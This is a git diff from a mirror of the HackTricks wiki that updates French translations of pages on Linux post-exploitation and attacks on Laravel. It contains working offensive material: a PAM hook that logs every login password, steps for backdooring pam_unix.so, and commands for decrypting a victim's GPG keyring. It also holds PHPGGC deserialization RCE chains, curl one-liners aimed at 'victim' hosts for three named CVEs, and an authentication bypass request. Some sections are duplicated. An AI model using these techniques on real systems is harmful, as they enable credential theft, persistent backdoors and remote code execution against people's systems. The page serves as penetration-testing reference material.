mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's
This commit is contained in:
parent
0566806977
commit
3dd5f566fb
@ -1,26 +1,26 @@
|
||||
# Linux Post-Exploitation
|
||||
# Post-exploitation sous Linux
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sniffing Logon Passwords with PAM
|
||||
## Interception des mots de passe de connexion avec PAM
|
||||
|
||||
Configurons un module PAM pour enregistrer chaque mot de passe utilisé par chaque utilisateur pour se connecter. Si vous ne savez pas ce qu'est PAM, consultez :
|
||||
Configurons un module PAM pour enregistrer chaque mot de passe que chaque utilisateur utilise pour se connecter. Si vous ne savez pas ce qu'est PAM, consultez :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
pam-pluggable-authentication-modules.md
|
||||
{{#endref}}
|
||||
|
||||
**Pour plus de détails, consultez le [post original](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Ceci est juste un résumé :
|
||||
**Pour plus de détails, consultez le [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Ceci n'est qu'un résumé :
|
||||
|
||||
**Aperçu de la technique :**
|
||||
Les modules d'authentification pluggables (PAM) offrent une flexibilité dans la gestion de l'authentification sur les systèmes basés sur Unix. Ils peuvent améliorer la sécurité en personnalisant les processus de connexion, mais présentent également des risques s'ils sont mal utilisés. Ce résumé décrit une technique pour capturer les informations d'identification de connexion à l'aide de PAM, ainsi que des stratégies d'atténuation.
|
||||
Pluggable Authentication Modules (PAM) offrent de la flexibilité dans la gestion de l'authentification sur les systèmes Unix. Ils peuvent renforcer la sécurité en personnalisant les processus de connexion, mais présentent aussi des risques s'ils sont mal utilisés. Ce résumé décrit une technique pour capturer les identifiants de connexion en utilisant PAM, ainsi que des stratégies d'atténuation.
|
||||
|
||||
**Capture des informations d'identification :**
|
||||
**Capture des identifiants :**
|
||||
|
||||
- Un script bash nommé `toomanysecrets.sh` est conçu pour enregistrer les tentatives de connexion, capturant la date, le nom d'utilisateur (`$PAM_USER`), le mot de passe (via stdin) et l'IP de l'hôte distant (`$PAM_RHOST`) dans `/var/log/toomanysecrets.log`.
|
||||
- Un script bash nommé `toomanysecrets.sh` est créé pour enregistrer les tentatives de connexion, capturant la date, le nom d'utilisateur (`$PAM_USER`), le mot de passe (via stdin) et l'IP de l'hôte distant (`$PAM_RHOST`) dans `/var/log/toomanysecrets.log`.
|
||||
- Le script est rendu exécutable et intégré dans la configuration PAM (`common-auth`) en utilisant le module `pam_exec.so` avec des options pour s'exécuter silencieusement et exposer le jeton d'authentification au script.
|
||||
- L'approche démontre comment un hôte Linux compromis peut être exploité pour enregistrer discrètement les informations d'identification.
|
||||
- Cette approche montre comment un hôte Linux compromis peut être exploité pour consigner discrètement des identifiants.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
@ -32,23 +32,49 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
```
|
||||
### Backdooring PAM
|
||||
|
||||
**Pour plus de détails, consultez le [post original](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Ceci est juste un résumé :
|
||||
**Pour plus de détails, consultez le [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Ceci n'est qu'un résumé :
|
||||
|
||||
Le Pluggable Authentication Module (PAM) est un système utilisé sous Linux pour l'authentification des utilisateurs. Il fonctionne sur trois concepts principaux : **nom d'utilisateur**, **mot de passe** et **service**. Les fichiers de configuration pour chaque service se trouvent dans le répertoire `/etc/pam.d/`, où des bibliothèques partagées gèrent l'authentification.
|
||||
Le Pluggable Authentication Module (PAM) est un système utilisé sous Linux pour l'authentification des utilisateurs. Il fonctionne sur trois concepts principaux : **username**, **password**, et **service**. Les fichiers de configuration pour chaque service se trouvent dans le répertoire `/etc/pam.d/`, où des shared libraries gèrent l'authentification.
|
||||
|
||||
**Objectif** : Modifier PAM pour permettre l'authentification avec un mot de passe spécifique, contournant le mot de passe utilisateur réel. Cela se concentre particulièrement sur la bibliothèque partagée `pam_unix.so` utilisée par le fichier `common-auth`, qui est inclus par presque tous les services pour la vérification des mots de passe.
|
||||
**Objectif** : Modifier PAM pour permettre l'authentification avec un mot de passe spécifique, contournant le mot de passe réel de l'utilisateur. Cela se concentre particulièrement sur la librairie partagée `pam_unix.so` utilisée par le fichier `common-auth`, qui est incluse par presque tous les services pour la vérification du mot de passe.
|
||||
|
||||
### Étapes pour modifier `pam_unix.so` :
|
||||
### Steps for Modifying `pam_unix.so`:
|
||||
|
||||
1. **Localiser la directive d'authentification** dans le fichier `common-auth` :
|
||||
- La ligne responsable de la vérification du mot de passe d'un utilisateur appelle `pam_unix.so`.
|
||||
2. **Modifier le code source** :
|
||||
- Ajouter une instruction conditionnelle dans le fichier source `pam_unix_auth.c` qui accorde l'accès si un mot de passe prédéfini est utilisé, sinon, il poursuit le processus d'authentification habituel.
|
||||
3. **Recompiler et remplacer** la bibliothèque modifiée `pam_unix.so` dans le répertoire approprié.
|
||||
4. **Test** :
|
||||
- L'accès est accordé à travers divers services (connexion, ssh, sudo, su, économiseur d'écran) avec le mot de passe prédéfini, tandis que les processus d'authentification normaux restent inchangés.
|
||||
1. **Locate the Authentication Directive** in the `common-auth` file:
|
||||
- The line responsible for checking a user's password calls `pam_unix.so`.
|
||||
2. **Modify Source Code**:
|
||||
- Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
|
||||
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
|
||||
4. **Testing**:
|
||||
- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.
|
||||
|
||||
> [!TIP]
|
||||
> Vous pouvez automatiser ce processus avec [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
|
||||
## Decrypting GPG loot via homedir relocation
|
||||
|
||||
Si vous trouvez un fichier chiffré `.gpg` et le dossier `~/.gnupg` d’un utilisateur (pubring, private-keys, trustdb) mais que vous ne pouvez pas déchiffrer à cause des permissions/verrous du GnuPG homedir, copiez le keyring dans un emplacement inscriptible et utilisez-le comme votre GPG home.
|
||||
|
||||
Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG can’t read/write the original homedir).
|
||||
|
||||
Workflow:
|
||||
```bash
|
||||
# 1) Stage a writable homedir and copy the victim's keyring
|
||||
mkdir -p /dev/shm/fakehome/.gnupg
|
||||
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
|
||||
# 2) Ensure ownership & perms are sane for gnupg
|
||||
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
|
||||
chmod 700 /dev/shm/fakehome/.gnupg
|
||||
# 3) Decrypt using the relocated homedir (either flag works)
|
||||
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
|
||||
# or
|
||||
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
|
||||
```
|
||||
Si le matériel de clé secrète est présent dans `private-keys-v1.d`, GPG déverrouillera et déchiffrera sans demander de passphrase (ou il demandera une passphrase si la clé est protégée).
|
||||
|
||||
## Références
|
||||
|
||||
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -4,14 +4,14 @@
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
Lisez des informations à ce sujet ici : [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
Lisez les informations à ce sujet ici : [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
|
||||
## APP_KEY & Internes du chiffrement (Laravel \u003e=5.6)
|
||||
|
||||
Laravel utilise AES-256-CBC (ou GCM) avec intégrité HMAC en arrière-plan (`Illuminate\\Encryption\\Encrypter`).
|
||||
Le texte chiffré brut qui est finalement **envoyé au client** est **Base64 d'un objet JSON** comme :
|
||||
Laravel utilise AES-256-CBC (ou GCM) avec intégrité HMAC en interne (`Illuminate\\Encryption\\Encrypter`).
|
||||
Le texte chiffré brut qui est finalement **envoyé au client** est un **Base64 d'un objet JSON** comme:
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
@ -20,7 +20,7 @@ Le texte chiffré brut qui est finalement **envoyé au client** est **Base64 d'u
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` va `serialize()` le texte en clair par défaut, tandis que `decrypt($payload, $unserialize=true)` **va automatiquement `unserialize()`** la valeur décryptée. Par conséquent, **tout attaquant qui connaît le secret de 32 octets `APP_KEY` peut créer un objet PHP sérialisé chiffré et obtenir RCE via des méthodes magiques (`__wakeup`, `__destruct`, …)**.
|
||||
`encrypt($value, $serialize=true)` va `serialize()` le texte en clair par défaut, tandis que `decrypt($payload, $unserialize=true)` **va automatiquement `unserialize()`** la valeur déchiffrée. Par conséquent, **tout attaquant qui connaît le secret de 32 octets `APP_KEY` peut fabriquer un objet PHP sérialisé chiffré et obtenir une RCE via magic methods (`__wakeup`, `__destruct`, …)**.
|
||||
|
||||
Minimal PoC (framework ≥9.x):
|
||||
```php
|
||||
@ -29,12 +29,12 @@ use Illuminate\Support\Facades\Crypt;
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
Injectez la chaîne produite dans n'importe quel point de `decrypt()` vulnérable (paramètre de route, cookie, session, …).
|
||||
Injectez la chaîne produite dans n'importe quel sink vulnérable `decrypt()` (paramètre de route, cookie, session, …).
|
||||
|
||||
---
|
||||
|
||||
## laravel-crypto-killer 🧨
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatise tout le processus et ajoute un mode **bruteforce** pratique :
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatise l'ensemble du processus et ajoute un mode **bruteforce** pratique :
|
||||
```bash
|
||||
# Encrypt a phpggc chain with a known APP_KEY
|
||||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||||
@ -45,66 +45,119 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
Le script prend en charge de manière transparente à la fois les charges utiles CBC et GCM et régénère le champ HMAC/tag.
|
||||
Le script prend en charge de manière transparente les payloads CBC et GCM et régénère le champ HMAC/tag.
|
||||
|
||||
---
|
||||
|
||||
## Modèles vulnérables dans le monde réel
|
||||
## Schémas vulnérables réels
|
||||
|
||||
| Projet | Sink vulnérable | Chaîne de gadgets |
|
||||
|--------|-----------------|-------------------|
|
||||
| Projet | Sink vulnérable | Gadget chain |
|
||||
|--------|-----------------|--------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | Cookie `XSRF-TOKEN` lorsque `Passport::withCookieSerialization()` est activé | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → Cookie `laravel_session` | Laravel/RCE15 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||
|
||||
Le flux de travail d'exploitation est toujours :
|
||||
1. Obtenir `APP_KEY` (exemples par défaut, fuite Git, fuite config/.env ou brute-force)
|
||||
2. Générer un gadget avec **PHPGGC**
|
||||
3. `laravel_crypto_killer.py encrypt …`
|
||||
4. Livrer la charge utile via le paramètre/cookie vulnérable → **RCE**
|
||||
La procédure d'exploitation est toujours la suivante :
|
||||
1. Obtenir ou brute-force la `APP_KEY` de 32 octets.
|
||||
2. Construire une gadget chain avec **PHPGGC** (par exemple `Laravel/RCE13`, `Laravel/RCE9` ou `Laravel/RCE15`).
|
||||
3. Chiffrer le gadget sérialisé avec **laravel_crypto_killer.py** et la `APP_KEY` récupérée.
|
||||
4. Fournir le ciphertext au sink vulnérable `decrypt()` (route parameter, cookie, session …) pour déclencher **RCE**.
|
||||
|
||||
Ci-dessous des one-liners concis montrant le chemin d'attaque complet pour chaque CVE réel mentionné ci‑dessus:
|
||||
```bash
|
||||
# Invoice Ninja ≤5 – /route/{hash}
|
||||
php8.2 phpggc Laravel/RCE13 system id -b -f | \
|
||||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
|
||||
xargs -I% curl "https://victim/route/%"
|
||||
|
||||
# Snipe-IT ≤6 – XSRF-TOKEN cookie
|
||||
php7.4 phpggc Laravel/RCE9 system id -b | \
|
||||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
|
||||
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
|
||||
|
||||
# Crater – cookie-based session
|
||||
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
|
||||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
|
||||
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
|
||||
```
|
||||
## Découverte massive d'APP_KEY via cookie brute-force
|
||||
|
||||
Parce que chaque réponse Laravel fraîche définit au moins 1 cookie chiffré (`XSRF-TOKEN` et généralement `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** qui peuvent être attaqués hors-ligne.
|
||||
|
||||
Principales découvertes de la recherche publiée par Synacktiv (2024-2025) :
|
||||
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
|
||||
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
|
||||
* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
|
||||
* Réutilisation massive de clés – les Top-10 APP_KEYs sont des valeurs par défaut hard-coded fournies avec des templates Laravel commerciaux (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
L'outil privé Go **nounours** pousse le throughput AES-CBC/GCM bruteforce à ~1.5 billion tries/s, réduisant le craquage de l'ensemble des données à <2 minutes.
|
||||
|
||||
|
||||
## CVE-2024-52301 – HTTP argv/env override → auth bypass
|
||||
|
||||
Quand `register_argc_argv=On` de PHP (typique sur de nombreuses distros), PHP expose un tableau `argv` pour les requêtes HTTP dérivé de la query string. Les versions récentes de Laravel ont parsé ces args “CLI-like” et ont pris en compte `--env=<value>` à l'exécution. Cela permet de basculer l'environnement du framework pour la requête HTTP courante simplement en l'ajoutant à n'importe quelle URL :
|
||||
|
||||
- Vérification rapide :
|
||||
- Visiter `https://target/?--env=local` ou toute autre chaîne et chercher des changements dépendants de l'environnement (bannières de debug, bas de page, erreurs détaillées). Si la chaîne est reflétée, l'override fonctionne.
|
||||
|
||||
- Exemple d'impact (logique métier faisant confiance à un env spécial) :
|
||||
- Si l'app contient des branches comme `if (app()->environment('preprod')) { /* bypass auth */ }`, vous pouvez vous authentifier sans identifiants valides en envoyant le POST de login à :
|
||||
- `POST /login?--env=preprod`
|
||||
|
||||
- Notes :
|
||||
- Fonctionne par requête, sans persistance.
|
||||
- Nécessite `register_argc_argv=On` et une version vulnérable de Laravel qui lit argv pour HTTP.
|
||||
- Primitive utile pour obtenir des erreurs plus verbeuses dans des envs “debug” ou pour déclencher des chemins de code protégés par l'environnement.
|
||||
|
||||
- Mitigations :
|
||||
- Désactiver `register_argc_argv` pour PHP-FPM/Apache.
|
||||
- Mettre à jour Laravel pour ignorer argv sur les requêtes HTTP et supprimer toute hypothèse de confiance liée à `app()->environment()` dans les routes de production.
|
||||
|
||||
Minimal exploitation flow (Burp):
|
||||
```http
|
||||
POST /login?--env=preprod HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
...
|
||||
email=a@b.c&password=whatever&remember=0xdf
|
||||
```
|
||||
---
|
||||
|
||||
## Découverte de masse d'APP_KEY via brute-force de cookie
|
||||
|
||||
Parce que chaque réponse Laravel fraîche définit au moins 1 cookie chiffré (`XSRF-TOKEN` et généralement `laravel_session`), **les scanners Internet publics (Shodan, Censys, …) fuient des millions de textes chiffrés** qui peuvent être attaqués hors ligne.
|
||||
|
||||
Principales conclusions de la recherche publiée par Synacktiv (2024-2025) :
|
||||
* Ensemble de données juillet 2024 » 580 k tokens, **3,99 % des clés craquées** (≈23 k)
|
||||
* Ensemble de données mai 2025 » 625 k tokens, **3,56 % des clés craquées**
|
||||
* >1 000 serveurs encore vulnérables à la CVE-2018-15133 héritée car les tokens contiennent directement des données sérialisées.
|
||||
* Réutilisation massive de clés – les 10 meilleures APP_KEY sont des valeurs par défaut codées en dur livrées avec des modèles Laravel commerciaux (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
L'outil Go privé **nounours** pousse le débit de brute-force AES-CBC/GCM à ~1,5 milliard d'essais/s, réduisant le craquage de l'ensemble de données complet à <2 minutes.
|
||||
|
||||
---
|
||||
|
||||
## Références
|
||||
* [Laravel: analyse de la fuite d'APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – Chaînes de gadgets PHP génériques](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
|
||||
## Astuces Laravel
|
||||
|
||||
### Mode débogage
|
||||
### Mode de débogage
|
||||
|
||||
Si Laravel est en **mode débogage**, vous pourrez accéder au **code** et aux **données sensibles**.\
|
||||
Par exemple `http://127.0.0.1:8000/profiles` :
|
||||
If Laravel is in **mode de débogage** you will be able to access the **code** and **sensitive data**.\
|
||||
For example `http://127.0.0.1:8000/profiles`:
|
||||
|
||||
.png>)
|
||||
|
||||
Ceci est généralement nécessaire pour exploiter d'autres CVE RCE Laravel.
|
||||
Ceci est généralement nécessaire pour exploiter d'autres CVE RCE de Laravel.
|
||||
|
||||
### Fingerprinting & exposed dev endpoints
|
||||
|
||||
Vérifications rapides pour identifier une stack Laravel et des outils dev dangereux exposés en production :
|
||||
|
||||
- `/_ignition/health-check` → Ignition présent (outil de debug utilisé par CVE-2021-3129). Si accessible sans authentification, l'application peut être en mode de débogage ou mal configurée.
|
||||
- `/_debugbar` → assets Laravel Debugbar ; indique souvent le mode de débogage.
|
||||
- `/telescope` → Laravel Telescope (dev monitor). Si accessible publiquement, attendez une divulgation importante d'informations et des actions possibles.
|
||||
- `/horizon` → queue dashboard ; divulgation de version et parfois actions protégées par CSRF.
|
||||
- `X-Powered-By`, les cookies `XSRF-TOKEN` et `laravel_session`, et les pages d'erreur Blade aident aussi au fingerprinting.
|
||||
```bash
|
||||
# Nuclei quick probe
|
||||
nuclei -nt -u https://target -tags laravel -rl 30
|
||||
# Manual spot checks
|
||||
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
|
||||
```
|
||||
### .env
|
||||
|
||||
Laravel enregistre l'APP qu'il utilise pour chiffrer les cookies et d'autres informations d'identification dans un fichier appelé `.env` qui peut être accessible en utilisant un certain chemin de traversée sous : `/../.env`
|
||||
Laravel enregistre l'APP qu'il utilise pour chiffrer les cookies et autres identifiants dans un fichier nommé `.env` qui peut être accédé via un path traversal : `/../.env`
|
||||
|
||||
Laravel affichera également cette information sur la page de débogage (qui apparaît lorsque Laravel trouve une erreur et qu'elle est activée).
|
||||
Laravel affichera aussi ces informations sur la debug page (qui apparaît lorsque Laravel rencontre une erreur et que le debug est activé).
|
||||
|
||||
En utilisant la clé secrète APP_KEY de Laravel, vous pouvez déchiffrer et ré-encrypter les cookies :
|
||||
En utilisant l'APP_KEY secret de Laravel, vous pouvez déchiffrer et rechiffrer les cookies :
|
||||
|
||||
### Déchiffrer le cookie
|
||||
### Decrypt Cookie
|
||||
```python
|
||||
import os
|
||||
import json
|
||||
@ -159,108 +212,34 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
|
||||
|
||||
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
|
||||
key = base64.b64decode(app_key)
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
|
||||
```
|
||||
### Laravel Désérialisation RCE
|
||||
### Laravel Deserialization RCE
|
||||
|
||||
Versions vulnérables : 5.5.40 et 5.6.x jusqu'à 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
|
||||
Ici, vous pouvez trouver des informations sur la vulnérabilité de désérialisation : [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
Vous trouverez des informations sur la vulnérabilité de désérialisation ici : [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
|
||||
Vous pouvez la tester et l'exploiter en utilisant [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Vous pouvez le tester et l'exploiter en utilisant [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Ou vous pouvez également l'exploiter avec metasploit : `use unix/http/laravel_token_unserialize_exec`
|
||||
|
||||
### CVE-2021-3129
|
||||
|
||||
Une autre désérialisation : [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
Une autre vulnérabilité de désérialisation : [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
Lisez des informations à ce sujet ici : [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
Lisez des informations à ce sujet ici : [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Internes de chiffrement (Laravel \u003e=5.6)
|
||||
|
||||
Laravel utilise AES-256-CBC (ou GCM) avec intégrité HMAC en arrière-plan (`Illuminate\\Encryption\\Encrypter`).
|
||||
Le texte chiffré brut qui est finalement **envoyé au client** est **Base64 d'un objet JSON** comme :
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
"value": "Base64(ciphertext)",
|
||||
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
